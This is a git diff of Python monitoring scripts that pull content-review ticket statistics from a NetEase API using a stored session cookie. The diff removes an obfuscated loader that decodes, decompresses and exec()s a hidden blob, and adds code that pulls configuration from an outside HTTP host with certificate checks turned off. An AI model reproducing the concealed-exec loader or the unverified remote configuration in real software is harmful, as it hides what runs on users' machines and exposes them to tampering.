'XHS_SPIDER_VIDEO': + type_name = "小红书供给视频" + elif media_type == 'Cupid': + type_name = "大神交友" + else: + # 默认情况下仍然使用替换方式 + type_name = media_type.replace('_', ' ').replace('NTES', '大神') + + frontend_stats['categories'][type_name] = { + 'count': count, + 'weighted': weighted_count, + 'coefficient': coefficient + } + + return { + 'stats': frontend_stats, + 'issues': issues + } + +def check_current_hour_counts(cookie, username): + """检查当前小时数据""" + try: + # 获取当前小时的开始和结束时间 + now = datetime.now() + current_hour = now.hour + + # 创建时间仍然使用全天 + create_start_time = now.strftime('%Y-%m-%d') + " 00:00:00" + create_end_time = now.strftime('%Y-%m-%d') + " 23:59:59" + + # 关闭时间使用当前小时 + close_start_time = now.strftime('%Y-%m-%d %H') + ":00:00" + close_end_time = now.strftime('%Y-%m-%d %H') + ":59:59" + + log(f"当前小时查询 - 创建时间范围: {create_start_time} 至 {create_end_time}") + log(f"当前小时查询 - 关闭时间范围: {close_start_time} 至 {close_end_time}") + + # 调用API获取图片审核数据 + log("正在获取图片审核数据...") + imageResult = fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time, close_end_time, max_pages=10000) + if imageResult is None: + log("获取图片审核数据失败") + imageStats = { + 'total': 0, + 'weighted_total': 0, + 'categories': {} + } + else: + imageStats = imageResult['stats'] + log(f"图片审核数据获取成功,共 {imageStats['total']} 条记录,折算总计 {imageStats['weighted_total']:.2f}") + + # 将统计结果写入到共享数据文件中 + try: + data = { + 'type': 'breeze_hourly', + 'stats': imageStats, + 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') + } + with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'breeze_hourly.json'), 'w', encoding='utf-8') as f: + json.dump(data, f, ensure_ascii=False) + log("小时数据已更新到共享文件") + except Exception as e: + log(f"写入小时数据到共享文件失败: {str(e)}") + + return imageStats + + except Exception as e: + log(f"检查当前小时数据失败: {str(e)}") + return None + +def check_daily_counts(cookie, username): + """检查全天数据""" + try: + # 获取今日开始和结束时间 + today = datetime.now().strftime('%Y-%m-%d') + create_start_time = "%s 00:00:00" % today + create_end_time = "%s 23:59:59" % today + + # 关闭时间也使用全天 + close_start_time = create_start_time + close_end_time = create_end_time + + log(f"全天查询 - 创建时间范围: {create_start_time} 至 {create_end_time}") + log(f"全天查询 - 关闭时间范围: {close_start_time} 至 {close_end_time}") + + # 调用API获取图片审核数据 + log("正在获取图片审核全天数据...") + imageResult = fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time, close_end_time, max_pages=10000) + if imageResult is None: + log("获取图片审核全天数据失败") + imageStats = { + 'total': 0, + 'weighted_total': 0, + 'categories': {} + } + else: + imageStats = imageResult['stats'] + log(f"图片审核全天数据获取成功,共 {imageStats['total']} 条记录,折算总计 {imageStats['weighted_total']:.2f}") + + # 将统计结果写入到共享数据文件中 + try: + data = { + 'type': 'breeze_daily', + 'stats': imageStats, + 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') + } + with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'breeze_daily.json'), 'w', encoding='utf-8') as f: + json.dump(data, f, ensure_ascii=False) + log("全天数据已更新到共享文件") + except Exception as e: + log(f"写入全天数据到共享文件失败: {str(e)}") + + return imageStats + + except Exception as e: + log(f"检查今日数据失败: {str(e)}") + return None + +def monitor_hourly_thread(): + """每小时监控线程""" + log("每小时监控线程启动") + while True: + try: + # 从全局变量获取用户信息 + with credentials_lock: + cookie = user_credentials['cookie'] + username = user_credentials['username'] + + if cookie and username: + # 检查当前小时数据 + stats = check_current_hour_counts(cookie, username) + time.sleep(120) # 每2分钟检查一次 + else: + time.sleep(30) # 未登录时等待30秒 + + except Exception as e: + log(f"每小时监控线程异常: {str(e)}") + time.sleep(60) # 发生异常时等待1分钟后重试 + +def monitor_daily_thread(): + """每日监控线程""" + log("每日监控线程启动") + while True: + try: + # 从全局变量获取用户信息 + with credentials_lock: + cookie = user_credentials['cookie'] + username = user_credentials['username'] + + if cookie and username: + # 检查全天数据 + stats = check_daily_counts(cookie, username) + time.sleep(3600) # 每60分钟检查一次 + else: + time.sleep(30) # 未登录时等待30秒 + + except Exception as e: + log(f"每日监控线程异常: {str(e)}") + time.sleep(60) # 发生异常时等待1分钟后重试 + +# 监控配置文件变化线程 +def monitor_config_thread(): + """监控配置文件变化线程""" + log("配置监控线程启动") + last_check_time = 0 + check_interval = 1800 # 30分钟 + + while True: + try: + current_time = time.time() + + # 检查是否需要更新配置 + if current_time - last_check_time >= check_interval: + log("开始检查系数配置更新") + load_coefficients() + last_check_time = current_time + + time.sleep(60) # 每分钟检查一次时间 + + except Exception as e: + log(f"配置监控线程异常: {str(e)}") + time.sleep(60) # 发生异常时等待1分钟后重试 + +def main(): + """主函数""" + log("Breeze监控系统启动") + + # 解析命令行参数 + check_now = False + force_mode = False + update_coefficients = False + no_config_check = False + + for arg in sys.argv: + if arg == "--check-now": + check_now = True + log("收到立即检查参数") + elif arg == "--force": + force_mode = True + log("收到强制模式参数") + elif arg == "--update-coefficients": + update_coefficients = True + log("收到更新系数参数") + elif arg == "--no-config-check": + no_config_check = True + log("收到禁用配置检查参数") + + # 从配置文件加载系数,除非指定了不检查配置 + if not no_config_check: + load_coefficients() + else: + log("跳过配置检查,使用当前已加载的系数") + + # 处理系数更新 + if update_coefficients: + # 检查是否提供了新系数 + if len(sys.argv) >= 5: # 脚本名 + --update-coefficients + 类型 + 值 + try: + coefficient_type = sys.argv[2] + coefficient_value = float(sys.argv[3]) + + # 检查是否为有效的系数类型 + if coefficient_type in COEFFICIENTS: + log(f"更新系数:{coefficient_type}={coefficient_value}") + + # 更新全局系数 + with coefficients_lock: + COEFFICIENTS[coefficient_type] = coefficient_value + + # 保存到配置文件 + save_coefficients() + else: + log(f"未知的系数类型: {coefficient_type}") + except ValueError as e: + log(f"系数更新失败: {str(e)}") + log("系数必须是有效的数字") + except IndexError: + log("参数不足,无法更新系数") + + log("系数更新完成,退出程序") + sys.exit(0) + + # 确保输出目录存在 + script_dir = os.path.dirname(os.path.abspath(__file__)) + if not os.path.exists(script_dir): + os.makedirs(script_dir) + + # 从环境变量初始化凭据 + init_credentials() + + # 处理--check-now参数 + if check_now: + # 从全局变量获取用户信息 + with credentials_lock: + cookie = user_credentials['cookie'] + username = user_credentials['username'] + + if cookie and username: + log("开始执行手动检查") + + if force_mode: + # 在强制模式下,使用当前小时的整点数据进行查询 + now = datetime.now() + + # 创建时间仍然使用全天 + create_start_time = now.strftime('%Y-%m-%d') + " 00:00:00" + create_end_time = now.strftime('%Y-%m-%d') + " 23:59:59" + + # 关闭时间使用当前小时的整点范围 + close_start_time = now.strftime('%Y-%m-%d %H') + ":00:00" + close_end_time = now.strftime('%Y-%m-%d %H') + ":59:59" + + log(f"强制模式 - 创建时间范围: {create_start_time} 至 {create_end_time}") + log(f"强制模式 - 关闭时间范围: {close_start_time} 至 {close_end_time}") + + # 调用API获取图片审核数据 + log("正在获取图片审核数据...") + imageResult = fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time, close_end_time, max_pages=10000) + if imageResult is None: + log("获取图片审核数据失败") + imageStats = { + 'total': 0, + 'weighted_total': 0, + 'categories': {} + } + else: + imageStats = imageResult['stats'] + log(f"图片审核数据获取成功,共 {imageStats['total']} 条记录,折算总计 {imageStats['weighted_total']:.2f}") + + # 将统计结果写入到共享数据文件中 + try: + data = { + 'type': 'breeze_hourly', + 'stats': imageStats, + 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') + } + with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'breeze_hourly.json'), 'w', encoding='utf-8') as f: + json.dump(data, f, ensure_ascii=False) + log("小时数据已更新到共享文件") + except Exception as e: + log(f"写入小时数据到共享文件失败: {str(e)}") + else: + # 常规检查 + check_current_hour_counts(cookie, username) + + log("手动检查完成") + else: + log("无法执行手动检查: 凭据不可用") + + # 立即检查完成后退出 + sys.exit(0) + + # 启动监控线程 + hourly_thread = threading.Thread(target=monitor_hourly_thread) + hourly_thread.daemon = True + hourly_thread.start() + + daily_thread = threading.Thread(target=monitor_daily_thread) + daily_thread.daemon = True + daily_thread.start() + + # 启动配置监控线程 + config_thread = threading.Thread(target=monitor_config_thread) + config_thread.daemon = True + config_thread.start() + + # 保持主线程运行 + try: + while True: + time.sleep(10) + except KeyboardInterrupt: + log("程序被用户中断") + except Exception as e: + log(f"主线程异常: {str(e)}") + finally: + log("Breeze监控系统关闭") + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/breeze_monitor_CHAT.py b/breeze_monitor_CHAT.py index e3295a3..957253b 100644 --- a/breeze_monitor_CHAT.py +++ b/breeze_monitor_CHAT.py @@ -1,49 +1,1096 @@ # -*- coding: utf-8 -*- -import base64,zlib,sys,os,time,random -import threading,importlib,subprocess +import requests +import time +import json +from datetime import datetime, timedelta +import logging +import os +import sys +import threading +from threading import Lock +import re +import subprocess -def _EEHYBr2GbK2l(d,k): - return bytes(a^b for a,b in zip(d,k*(len(d)//len(k)+1))) +# 配置日志 +def setup_logging(): + try: + # 获取当前脚本所在目录 + script_dir = os.path.dirname(os.path.abspath(__file__)) + log_file = os.path.join(script_dir, 'breeze_monitor.log') + + # 确保日志文件存在 + if not os.path.exists(log_file): + with open(log_file, 'w', encoding='utf-8') as f: + f.write('') + + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s', + handlers=[ + logging.FileHandler(log_file, encoding='utf-8', mode='a'), + logging.StreamHandler() + ] + ) + logging.info("Breeze监控日志系统初始化成功") + except Exception as e: + print(f"日志系统初始化失败: {str(e)}") + # 如果文件日志失败,至少使用控制台日志 + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s', + handlers=[logging.StreamHandler()] + ) -def _rNCFD1d9c(t,m,is_error=False): - try: - try: - from playsound import playsound - except ImportError: - subprocess.check_call([sys.executable,"-m","pip","install","playsound==1.2.2"], - stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL) - from playsound import playsound - - - try: - import winsound - sound_type = winsound.MB_ICONERROR if is_error else winsound.MB_ICONINFORMATION - winsound.MessageBeep(sound_type) - except: - print("\a") - +# 初始化日志系统 +setup_logging() - print("\n" + "="*50) - print(f"{t}: {m}") - print("="*50 + "\n") - - return True - except Exception as e: - print(f"\n{t}: {m} (提示音播放失败: {str(e)})\n") - return False +# API配置 +API_BASE_URL = 'https://breeze.gameyw.netease.com/api/cms/issue/list' -def _zlNSPQzcOOA(t,m,e=0): - _rNCFD1d9c(t,m,e==1) +# 默认的各类工单的折算系数 +DEFAULT_COEFFICIENTS = { + 'NTES_GOD_IMAGES': 0.54, # 网易大神APP图片 + 'NTES_GOD_VIDEOS': 3.8, # 网易大神APP视频 + 'NTES_GOD_CHAT_IMAGES': 0.54, # 网易大神APP聊天图片 + 'NTES_GOD_CHAT_VIDEOS': 3.8, # 网易大神APP聊天视频 + 'NTES_DASONG': 139.19, # 大神大宋视频 + 'SPIDER_VIDEO': 3.8, # 大神普通供给视频 + 'SPIDER_VIDEO_SP': 13.3, # 大神高优供给视频 + 'NTES_GOD_AI': 0.54, # 大神AI图片 + 'NTES_GOD_TOP': 3.8, # 大神短视频 + 'T_SPIDER_VIDEO': 3.8, # 大神tiktok普通视频 + 'T_SPIDER_VIDEO_SP': 13.3, # 大神tiktok高优视频 + 'V_SPIDER_VIDEO': 3.8, # 大神ins普通供给视频 + 'V_SPIDER_VIDEO_SP': 13.3, # 大神ins高优供给视频 + 'NTES_GOD_XHS': 0.54, # 大神小红书图片 + 'XHS_SPIDER_VIDEO': 3.8, # 小红书供给视频 + 'Cupid': 0.54, # 大神交友 + 'CHAT_P2P': 0.55, # 大神聊天/风险用户_私聊/私聊频繁 + 'CHAT_TEAM': 0.55, # 大神聊天/风险用户_群聊/群聊频繁 + 'CHAT_ROOM': 0.55, # 大神聊天_聊天室 + 'CHAT_ROOM_MSG': 0.55 # 风险用户_聊天室频繁 +} +# 系数配置文件路径 +COEFFICIENTS_CONFIG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'breeze_coefficients.json') -_ChXfzl=b'\x8ca\x97\xe1\xde\xfd5j5\xad4\xfe\x07\xbd\x18.' -_zvlFLpnp=b'^!<9=BZ}rMgA&tG*UlH|`ueZvN)rP&LZXph%GMLIs*EWXtdB|N7>aI^%+@oH%Wa|L(a2+p#1H^4MKfcJe9FE_o+^HLl!rXGP=ENk7hYKKyHa%W~hpPXp4R!ON=+v=5ekK+(E+z(eD%L=_M9!tQcS{{*S8Kte@4)g^eBLNVDLu<&mG{$7u&#wcSA7JVE-GnL@cQ1v55*=6R3*s_lq=Bxm?R%7V79HJM<2qnWBLT7@dIK&?Q2)LCN8;{btjpG+`O+it_Qzqrur%3*?|4VXcqrn@Al!GN(+xWzrG44?OvPIx0_B2V35Mzv2kEQV^I(Ue%{=EH^9dpHNK*#4nRwhsS9R}cA4zIXszkxUj_4&e@yi=q6p5GEp*Mm-e%GwF6RVCd7ujBmvHFEhhK14+zO@@KNN1}y0emXkjH~?#ZYeCjj8-@QI9o|k6K9FhNTeRRa22^;lVXk2;G#=$Eo#`r>Z%7cd}1al^CgH1Tf_13lq~>Uzh&ZQ|GIQ4a{nVg}HXVYF#8;t7<9n(W=+k2q%v4+UBzLua2i_&YiZwuoS8`k=YMYbk%P?&m{P2C@)P5LAa&`@em0%x9@1WTl}id-&}f1HH7CrS1dV5>--|5mnj@LT`Yp?_|r}9~5G{EFWgM@N$+<(rVy-jUcXQ+qwmRc@6>T5o+Q>d@1X?cv-WjGETwi>>?2a0hLcm(1PNtxDBr!K)=@>yge%t-SV|T@e)p3CT-P>tQvpIV9R(2hWA#2sMp+ku$Tbt&u)_q1R{x)>Kz3A%&vj*c)Ho(sBqABKQm~6Ay-+lFQVbVztkqX+A@$hA;I57bT7+0%kd_@RoT3(NXiNpRyfMM}zh)_?`n@8YS-lpHPk@V!i^l@KmTDrmBI)pK=yrwB2<(s-B0n%Y!U78=Ue1OvUkD|Xh3Sl5#F-e%#z0MSURGD<|B;c7C%94kEu#h?4&|=sOnB#<~X`SSyQd;YiBh`vT=)d7f?k38;OyXu~R3J!Rk?ccDrV|_b++%gE#H6qF58k?1}CyUn6XXEV+nQkY2w7uNMZ)`bU5%)MJ<#2=Snz#oLjE@_y*0Ds4jvL*dt~jM=g6s$DHX~Qsqtxr)149nGlxZB7%|j-OKSD+jQ2zq7PhKe-j0(o0ryAG93PPRj3xBu>+6LynRFnbpB^CD6dXrkK^=El|bs<{)2p(b5*p2YI07qBH!G=YIQ>(lP4{L803*3mSUOWDc@ORhyWaCe%=_FU-ACV6}R&icH{E4`M?#~IRGRaWSKBXxaKM!-gNaz3T}Myq9b0oIC%7-nu$aT6qa2j>Lq$wRd?tUNpQcz-GLUKtwZ4^4AQL8sPOj{PT8GOfNqg7MN%-z+GpFp{;&|H9zR33sCGtv)9&9HEvLT-n=&|G$tvvp~=L(=Z!Al=I%Xl#w2Cfb{NHtBv@qkcodYri{_mLDQ$lt^*VTphpdDE0;iYgCiJ}ot@$axmgfv5+KKws|BN~r_hk?av4wN6(7UY`630fl_O|%V3Z+#Z>o1TjOYe|iT6{1Kp7b0Lql+nS?lbydz~vyhJ=z9!r$$;>aXr%5o8q+uQ)vqxvk;)v?fN;OPAg)Sb;T;`)HFnW+@knP=oo0$W5RL!^pDpJ2W=cTe#Y%{i$6gR$vw8#~jsA`RKz=As;J~sx2Lq~XiK!?}P+63N@mfx*+xz1XUC!&yl{BDs9_$Z(=K>0J{r5T?KU8`y`;#Jw1aL1cY_onJK1&Wh*uhm4lAe8s8FaDeMIiQ1ZDHFGfmEF?Wt5c4O!|*@@VUhFrv~7u|A*tfY_svJJ|+Dk?@nZm8mZr;s^ukUrF~-OMND@00frF+yQu81@0cMfHZU*!~PgFi-Va=(ynvV4$+6^f|D2|;SvjU5i~A|>`6DgMRAn5B9(u=PT3qT8JuBD(jRkbDX>KMq#=*mx!K$W9?_u{EkFT#-{2y8(L3U>SW}{0izPfveY}26h}&E%(FF#ov&@{>i6JCedO7=lK*`b-moED<2wT_5L72`!ls)~7;I~}KGqbSk;AB$B4z(;T=!7HZgcAEv0{8rW|s5>&;)Qq6AvVC4X#UQ79{CIzYfTPnnC|M<1`V<_Dm%(1dyo7e@w`C_HkZ+x@I)UI+fIIb*Gc)b31y8verLrlAr;rHgA0m$uqJD^G)`KbMu=HLQNtkH>@2nMR>t|)d4$HlG%SL&?B$>8{`a!c0MuLgEO(}Z*+#*)1>!js*MuRg6&zq!p1UTl0Ixsa{Aydipd5Fy6rT(!yy@L{1Y|_!FzGWMY?xt;eQT4NE=kJ*FWn-R~ycP)ZE+zuOWOy>|oDx6wP{+ASl;j)i$rON(4+E7j=xCU&z*GjjrpeOf;#1T7l*~ca5gbViX)vWefalpKLK7)#6Py956Ii~$s7j*B;$A$HGdjc&l~F@ZSgdN}+eYmn)JC}$!+2m8bQS-h=tB5A+{v-aLVWV=Ya@+lnCSTa>F-uyCjP01@VyGr2TNUCb{HmG(|F|6U54=Qn+-%`k-qUnfoI0?XXcfm;GEMiY48LKM@KoRgIF3%66SfBh|GbK|y380Fal5^s17HVw}pt5f~ZGsSqQq)~$!Ry3w^k(w=AC%IYzh1wRD9^@3AurX3TOxt;;VhIbgP^t~d-Hbw`Hpt+3)vSL6vN(&edZ#%yzJE|6nR>ThszNvo^%^SRRN?JLNMx#DXQZ+=3q=+*jyqez*z;?MHvHqJ2Hwu#UfbNNNv48Py4g?Vt1g77ktr#nj$UP`7z|iq=e1ClBy}TJh?H7nBrjZ8301$+zy%-01BAJ6*McYPrkjy1SV!TV8VO_tpa^n@O7L?O$y~An{y&%}>${Dt{zqjZOKDQa-m%ChE~~Dd%rN90Qu=8nOtM|EV0_S~A+#%G4T)eksF_CD|w&+;K)(HfAYexbLFttiIwDFfdKs(M!t>(+fUy)h)(&<;f_@C4n#?ynBqd74-|6F5juB%!1w8-{)d9Vr@I{)<0~4Lx+{9>YdHdCzeMYJSo6-&;4`^3eoWwucO~!z#ZnPLoruW3mZ^@=f^>lr3dbf`G}h>qpfa>km*)6`UnN%+cFX>{z#@A*|%{}#|*Y}H)y0hBo|*^fdmj6)}3}Odn(`cwC;bWCO*Im#bOk;X_IPYIDFUhaOe8))1d&qwjtNy+eF|A;~3`xyW~O6G`8lKQ3xmcV_y>rK6eH-PI8wb#~06dgcI)Fp<4A@4rH8FUMSTSln@_sEeGkIM1LriYmF#RRb7g~F^26YW`ZO!{7fU*Wv~%71mE-AFj#7FlHz^+vR3*UhE3^_pFURg&Cu_7gS#qb%<6QFjiaNEg2;L_g3P1~E)@;GphnM1t(DUp*@VWtV&HHEDFDiFPkJ^p7s~v>9PPk!d5atI-B-uatInl!XA&CZZPuj*aJv(sOUHvA&*clLyaNXunlul}#fEKq^xh|MSckDu}!AVm+SWRl&_irE&nRZeZIZ=9d>p^PV5C*l}YC^i@F^*_9jyt6ypvqkT2Vu;w!)VG4cF(@P!&vX*?PKK(1|M?3T#qSJ)$&?Zgjq>F9B78D;c&)uKylbh&ud2AU$Y~{wv@9%!(olhad8YZUtGc!;?5@SljagbnfB}03r>5@J#&6=))bS4y;e%8h*mdp!DSFi+961!BuMSWc*`f=`?P(A02Q}cd!t*LjyEDyq5jU#nBLteGHu5(6T2?YBCfPdOyner~S^gsrZ(JQUm$F58yzy2c**ji<=Goe8YJ{aSxSOa-D17h(W73B6;rNhn;U~F?JO{Zb;=@zKXh@{^U48!~OO#sKS22Fe3zcTiXpu~vq85PRYAe76#AdM^$#55Rf;b-_Ldm68{(&H5nJV1t!K2dioBj1K9XR$GNnen)LAI^Te@M;I)n-5BQE5!LN*K%iaHIND0Wv43G*XlvS3a+&UgS;VyXjAon@AET?>>wA|D$XOf#By214bUT;T>MC}{P#f($%5AS#+b$^j=3&MwF>T<8jq1=OzFJZ{-flvq%O0M4LB*`6$u86QK(gHGzR3Rk^p3LzsswT_9FhWVsxoD|J%mKgzaEFx7q^-Eys*(RkjsR`X#1GAuLs88li01n*xC^j*#X*|ED9~R%t&8RJ}aU`f=A)a^eFmBtTZmF5?!%0Bfy+K=5<6h}ls(`qTcnx+<(+Ox*AxWuUcn^su&CAe4D1aXGY?2bfQ5RRR;R$de;*Q$XIIDEZtEu<^x*rakNBx83K32hqa0EOfMa;^Exop*-<|w^>a;tL%~02!Fbj>j+cGG9N+eYKuh|B_&Q>a_tyjJsrBu{@L1+p>k**PLz)SqP>!f)tlJLnGZS(bWs$xbtc7506`4k@figv4;_M9P`xd!P0hm(_mT4uf`!NYR?_P(BA?S)%6b=t=c>#muwFo1TUh1LQti{NChm4q`x4xT1>1k7_p~;PFab-gW*v-mj&38s>Xd+W-f0?25%bcBy+LEJL$PkRM3;g5$M0Gix#}Gs52Bvy@(P&ROxsuWF+AqNf2J4Sm?_TZGrx4Adw1aSgHidHx?*yPCqZfJRNcH<36Cl?(sjOJkMhQ!Gu1!?O=coeUZJm(&6FcVu?=O*d;{b;Uo58QN%3Pw>qY<;DFnN|;Lqo$lL${C)4h#V*|C{(zYcQVoU?&Ou{Y0${)X3a{rvbUk)`w5#xy+k6y&!K9@?9NJ6UxoZ>EJ%;sXfJ6*8EMAo95|uRXCDBUrwCLH4)p4V8Pn!u8jw(>CgW$Gq7IVLO?EOOSzq|<`*uR;DrZ>)S0kdmuz}?zF4i}x)1{fK7^c%FCwgSBN2x@N*k95-Ge_aV0Fry79Z&%?-yVWMUIuls8ZE1@hxA4i;E_#bC7WNaEp;?ujY7o>{!xE0|B7g4I%w~FiJ0DjUirD60|7g*9!FT?J)PLdmAgw)T4UJ3(iz`#5sN^+ThQ58-oZz`=eYz<5=a2Gd4sw@u(f5#P`FLj3AF(6@#FTw3ybVhufW7{j$@f6b@D$H7Zcx+d*?Bm-I`%>!7kLMY#qvwSpZ;RX~)ZVk1cOmSuf_1Dsj6bh5gb*l)5^fyZ;~OY&Nl)rL_fOlp3VGxd1(}B6&XJX7vmwfDVXYEkz2k~hFN)`YdkqG1m?e44Q+k;6vIfl#cNybUNv9$Bp`WjaHE%=_5WW6OiiBZRaL)6i%N>NVEA`EWm2Q-*^e<4Uk`(vd42%2k)P;@6ZRh7y){h#-^0$K~0vp%U1|FAW1vNEJp2J;iX;nM8^$*PHh0T}qT>;A#kNEUw0j2_arj4s?jtG=p6NzNYtEclGG*}C%(+oJBj3M3`&^r!pgTevJB6X>S9mp$Tpa%0>ZJWVvW*hBh^#=S1OAiOVpplYjS4w>ve;`t^Zj*P{gHwN|@2v{%CY10YlF)t)%NNd%{3%7d2Ei`FKap_8vyFo-oX>*w)5klnMBvY0kL1&+)TjWeSq1Xs{nBySUYqa2_L@+S=j#q`5?!uds!tn1$evFd91#FyasU+4^B@C448=Ps66m)KJJF1CSxPM=y~WEm;R)|VvI5MVWa4T*nX68*ESnaKc5AlX7N#oeW2U*GqS9OEI4wygR+3g0uL`j=9=K_>K<$hZ299T_Vj)II-#;oLtUqvC7}X(a7-FAr_UGx9aw1E^FCML0YENmbs5@~dK^1OKV7t$rIxmd=rf$VZrYrJ=`0XKg$x`qnmWiY9L%0V?P6O4X*jXYUMiCv^)x3gjYHrF2lbS)*5CGos|=B{)NZ)E~9h~9$YnA&sadQZ}vE*43|g6P^69a79+h)hz01-Q`qPSKHoc$4D}IrYdv`BqF_V|<0r#~i;^c}@+L*5=S+n3JqJT8p%+u?BK83j9-_lDb7vX77x=z#1?9nVCOlnFOk$S6Wtl5Ky+Lz`0@zvf4jws;mgfJV|0jU&GjA8ckv?{)ZQJahp2&MltTZ%a`kehZN)gXLhKETdhza@SM$_{))iHx+(aDb|kWpfgpe>oJHj#PJ``%NVwU%6o@l;`Wl(g;y>x+-%x=uDmbZjp63sWUPgnl&vC9fp+seW9(Pe7lB@9WapybG&Y89cT(wuAwtf;u7HlZRA}MGE{Bg*tp9__hg$iOE<&sO}g)PsN4Wfr=0OD*xN!5{bxmoS&b+fb>U@60xJyiniz' -try: - _cjFj1ND=base64.b85decode(_zvlFLpnp) - _hOxkWMb=_EEHYBr2GbK2l(_cjFj1ND,_ChXfzl) - _YQeA5bee=zlib.decompress(_hOxkWMb) - exec(compile(_YQeA5bee.decode('utf-8'),'','exec')) -except Exception as e: - _GUzxPKq8G="程序无法启动: "+str(e)[:50] - _zlNSPQzcOOA("错误",_GUzxPKq8G,1) - sys.exit(1) +# 全局变量 +user_credentials = { + 'cookie': None, + 'username': None +} +credentials_lock = Lock() +coefficients_lock = Lock() + +# 定义全局系数变量 +COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() + +def fetch_and_save_coefficients(url): + """从在线服务器获取系数配置并保存到本地""" + max_retries = 3 + retry_delay = 5 # 重试间隔(秒) + + for attempt in range(max_retries): + try: + # 尝试不使用代理直接获取 + try: + response = requests.get(url, timeout=10, proxies={'http': None, 'https': None}, verify=False) + except: + # 如果直接获取失败,尝试使用系统代理 + proxies = { + 'http': os.environ.get('HTTP_PROXY', ''), + 'https': os.environ.get('HTTPS_PROXY', '') + } + response = requests.get(url, timeout=10, proxies=proxies, verify=False) + + if response.status_code == 200: + loaded_coefficients = response.json() + # 更新系数 + COEFFICIENTS.update(loaded_coefficients) + # 保存到本地文件 + with open(COEFFICIENTS_CONFIG_FILE, 'w', encoding='utf-8') as f: + json.dump(loaded_coefficients, f, indent=4, ensure_ascii=False) + log(f"从服务器获取系数: {loaded_coefficients}") + return True + else: + log(f"获取在线系数配置失败,HTTP状态码: {response.status_code}") + if attempt < max_retries - 1: + log(f"第{attempt + 1}次重试失败,{retry_delay}秒后重试...") + time.sleep(retry_delay) + continue + return False + except Exception as e: + log(f"获取在线系数配置时发生错误: {str(e)}") + if attempt < max_retries - 1: + log(f"第{attempt + 1}次重试失败,{retry_delay}秒后重试...") + time.sleep(retry_delay) + continue + return False + +# 读取系数配置 +def load_coefficients(): + """从在线链接获取系数配置,如果获取失败则使用默认配置""" + global COEFFICIENTS + try: + with coefficients_lock: + url = "http://scripts.ui-beam.com:5000/NetEaseDSMonitor/config/breeze_coefficients.json" + + # 检查本地文件是否存在 + local_config_exists = os.path.exists(COEFFICIENTS_CONFIG_FILE) + + # 如果是首次运行或需要强制更新 + if not local_config_exists: + log("首次运行,从在线服务器获取系数配置") + if not fetch_and_save_coefficients(url): + log("首次获取系数配置失败,使用默认配置") + COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() + return + + # 读取本地配置 + try: + with open(COEFFICIENTS_CONFIG_FILE, 'r', encoding='utf-8') as f: + local_coefficients = json.load(f) + except Exception as e: + log(f"读取本地系数配置失败: {str(e)}") + local_coefficients = None + + # 尝试获取在线配置 + try: + response = requests.get(url, timeout=10, proxies={'http': None, 'https': None}, verify=False) + if response.status_code == 200: + online_coefficients = response.json() + + # 比较配置是否发生变化 + if local_coefficients != online_coefficients: + log("检测到系数配置发生变化,更新本地配置") + if fetch_and_save_coefficients(url): + log("系数配置更新成功") + else: + log("系数配置更新失败,继续使用本地配置") + else: + log("系数配置未发生变化,使用本地配置") + else: + log(f"获取在线系数配置失败,HTTP状态码: {response.status_code}") + except Exception as e: + log(f"检查在线系数配置时发生错误: {str(e)}") + + # 使用本地配置 + if local_coefficients: + COEFFICIENTS.update(local_coefficients) + log(f"从本地从加载系数: {local_coefficients}") + else: + COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() + + except Exception as e: + log(f"加载系数配置失败: {str(e)}") + COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() + +# 保存系数配置 +def save_coefficients(coefficients=None): + """保存系数到配置文件""" + try: + if coefficients is None: + coefficients = COEFFICIENTS + + with coefficients_lock: + with open(COEFFICIENTS_CONFIG_FILE, 'w', encoding='utf-8') as f: + json.dump(coefficients, f, indent=4, ensure_ascii=False) + log(f"系数配置已保存") + except Exception as e: + log(f"保存系数配置失败: {str(e)}") + +# 初始化用户凭据(从环境变量读取) +def init_credentials(): + """从环境变量初始化用户凭据""" + try: + cookie = os.environ.get('BREEZE_COOKIE', '') + username = os.environ.get('BREEZE_USERNAME', '') + + if cookie and username: + with credentials_lock: + user_credentials['cookie'] = cookie + user_credentials['username'] = username + log(f"已从环境变量加载用户凭据: {username}") + return True + else: + log(f"未能从环境变量获取用户凭据,BREEZE_COOKIE长度: {len(cookie)}, BREEZE_USERNAME: {username}") + return False + except Exception as e: + log(f"初始化用户凭据失败: {str(e)}") + return False + +def get_api_headers(cookie): + """获取API请求头""" + return { + 'accept': 'application/json, text/plain, */*', + 'accept-language': 'zh-CN,zh;q=0.9', + 'cookie': cookie, + 'priority': 'u=1, i', + 'referer': 'https://breeze.opd.netease.com/', + 'sec-ch-ua': '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"', + 'sec-ch-ua-mobile': '?0', + 'sec-ch-ua-platform': '"Windows"', + 'sec-fetch-dest': 'empty', + 'sec-fetch-mode': 'cors', + 'sec-fetch-site': 'same-site', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36' + } + +def log(message, level='info'): + """记录日志""" + try: + if level == 'warning': + logging.warning(f"[Breeze] {message}") + elif level == 'error': + logging.error(f"[Breeze] {message}") + else: + logging.info(f"[Breeze] {message}") + except Exception as e: + print(f"日志记录失败: {str(e)}") + print(f"原始消息: {message}") + +def is_image_url(url): + """判断URL是否指向图片""" + if not url: + return False + + # 图片文件格式检查 + image_extensions = ['.jpg', '.jpeg', '.png', '.gif', '.webp', '.svg', '.bmp', '.heif', '.heic'] + if any(ext in url.lower() for ext in image_extensions): + return True + + # 图片服务链接检查 + image_patterns = [ + 'fp.ps.netease.com', + 